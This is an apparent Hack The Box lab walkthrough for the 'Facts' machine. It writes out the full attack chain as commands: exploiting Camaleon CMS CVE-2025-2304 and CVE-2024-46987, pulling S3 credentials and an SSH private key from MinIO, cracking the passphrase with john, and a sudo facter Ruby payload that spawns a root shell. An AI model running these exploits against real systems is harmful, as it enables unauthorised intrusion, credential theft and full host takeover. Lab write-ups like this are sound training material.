Facts Walkthrough
Machine: Facts#
Date: 22-03-2026 Platform: HTB Status: [Rooted]
π Recon#
Nmap:#
nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP
Results:
- Port 22 β SSH (OpenSSH 9.9p1, Ubuntu)
- Port 80 β HTTP (nginx 1.26.3) β redirects to facts.htb
Notes:
- Added hostname:
echo "10.129.7.147 facts.htb" | sudo tee -a /etc/hosts - Website is a “Facts & Curiosities” blog running Camaleon CMS 2.9.0
- MinIO S3 service running internally on port 54321 (not exposed in initial nmap β discovered later)
π Enumeration#
Gobuster:#
gobuster dir -u http://facts.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt -t 50
- Found
/adminβ redirects to/admin/login - Found
/search,/robots.txt,/sitemap,/up
Admin panel:#
/admin/loginβ Camaleon CMS 2.9.0 login page/admin/registerβ open registration β created accountaaa:aaa- Version confirmed in footer:
Version 2.9.0
SearchSploit:#
searchsploit camaleon
CVE-2023-30145β SSTI via formats parameter (patched in 2.9.0)CVE-2024-46987β Authenticated Path Traversal / Arbitrary File Read β usedCVE-2024-46986β Arbitrary File Write (path traversal blocked in 2.9.0)CVE-2025-2304β Privilege Escalation (client β admin) β used
π₯ Exploitation#
Step 1 β Privilege escalation within CMS (CVE-2025-2304):#
git clone https://github.com/Alien0ne/CVE-2025-2304
python3 exploit.py -u http://facts.htb -U aaa -P aaa --newpass bbb
β Account aaa escalated to admin role
Step 2 β Extract S3 credentials (CVE-2025-2304 -e flag):#
python3 exploit.py -u http://facts.htb -U aaa -P bbb -e
β S3 credentials extracted:
s3 access key: [REDACTED]s3 secret key: [REDACTED]s3 endpoint: http://localhost:54321
Step 3 β LFI to read system files (CVE-2024-46987):#
git clone https://github.com/Goultarde/CVE-2024-46987
python3 CVE-2024-46987.py -u http://facts.htb -l aaa -p bbb /etc/passwd
Users found:
trivia:x:1000:1000β/home/triviawilliam:x:1001:1001β/home/william
User flag found:
python3 CVE-2024-46987.py -u http://facts.htb -l aaa -p bbb /home/william/user.txt
β [REDACTED]
Step 4 β Access MinIO S3 (port 54321 exposed externally):#
AWS_ACCESS_KEY_ID=[REDACTED] \
AWS_SECRET_ACCESS_KEY='[REDACTED]' \
aws --endpoint-url http://facts.htb:54321 s3 ls
Buckets found:
randomfactsβ web imagesinternalβ backup of william’s home directory
AWS_ACCESS_KEY_ID=[REDACTED] \
AWS_SECRET_ACCESS_KEY='[REDACTED]' \
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/
β Found id_ed25519 (encrypted private key) and authorized_keys
Step 5 β Download and crack SSH private key:#
AWS_ACCESS_KEY_ID=[REDACTED] \
AWS_SECRET_ACCESS_KEY='[REDACTED]' \
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519
# Convert to john format (requires john bleeding-jumbo)
~/tools/john-jumbo/run/ssh2john id_ed25519 > id_ed25519.hash
john id_ed25519.hash --wordlist=/usr/share/wordlists/rockyou.txt
β Passphrase: [REDACTED]
Identify user from private key:
ssh-keygen -y -f id_ed25519
# Output matches authorized_keys of trivia β user is trivia
Step 6 β SSH as trivia:#
chmod 600 id_ed25519
ssh trivia@$MACHINE_IP -i id_ed25519
# passphrase: [REDACTED]
β Shell as trivia β
Result: user.txt obtained from /home/william/user.txt via LFI
β‘ Privilege Escalation#
Enumeration:
sudo -l
# (ALL) NOPASSWD: /usr/bin/facter
facter custom-dir RCE β GTFOBins:
echo 'Facter.add(:pwn) do
setcode do
system("/bin/bash")
end
end' > /tmp/pwn.rb
sudo /usr/bin/facter --custom-dir /tmp
β Root shell β
Successful escalation: root
π― Loot / Flags#
- user.txt: ``[FLAG REDACTED]
β/home/william/user.txt` (read via LFI) - root.txt: ``[FLAG REDACTED]
β/root/root.txt`
π Lessons Learned#
- Open registration on CMS admin panels is an immediate foothold β always try
/admin/register - CVE-2025-2304 escalates any CMS user to admin AND extracts S3 credentials β read all exploit flags carefully
- S3/MinIO services may be exposed on non-standard ports not caught by default nmap scans β always do a full port scan
- The
internalS3 bucket contained a home directory backup including SSH private keys ssh-keygen -y -f id_rsaextracts the public key from a private key β useful to identify the associated username from authorized_keys- john bleeding-jumbo is required for modern SSH key formats (aes256-ctr) β the packaged Arch version doesn’t support cipher type 6
facter --custom-direxecutes arbitrary Ruby code as root when sudoable β always check GTFOBins for any sudoable binary- Always scan all ports β MinIO on 54321 was not in the top 1000 ports scanned initially
- Path traversal and SSTI were patched in Camaleon CMS 2.9.0 β always verify the exact version before choosing exploits
#Linux #HTB #Enumeration #Web #Nginx #CMS #CamaleonCMS #Gobuster #UserRegistration #CVE #CVE-2025-2304 #CVE-2024-46987 #PrivilegeEscalation #LFI #FileRead #CredentialExtraction #S3 #MinIO #AWS #BucketEnumeration #SSH #PrivateKey #HashCracking #John #PasswordCracking #LateralMovement #Sudo #Facter #GTFOBins #CommandExecution #PostExploitation
Adapted from MountainFlayer/htb-writeups under MIT.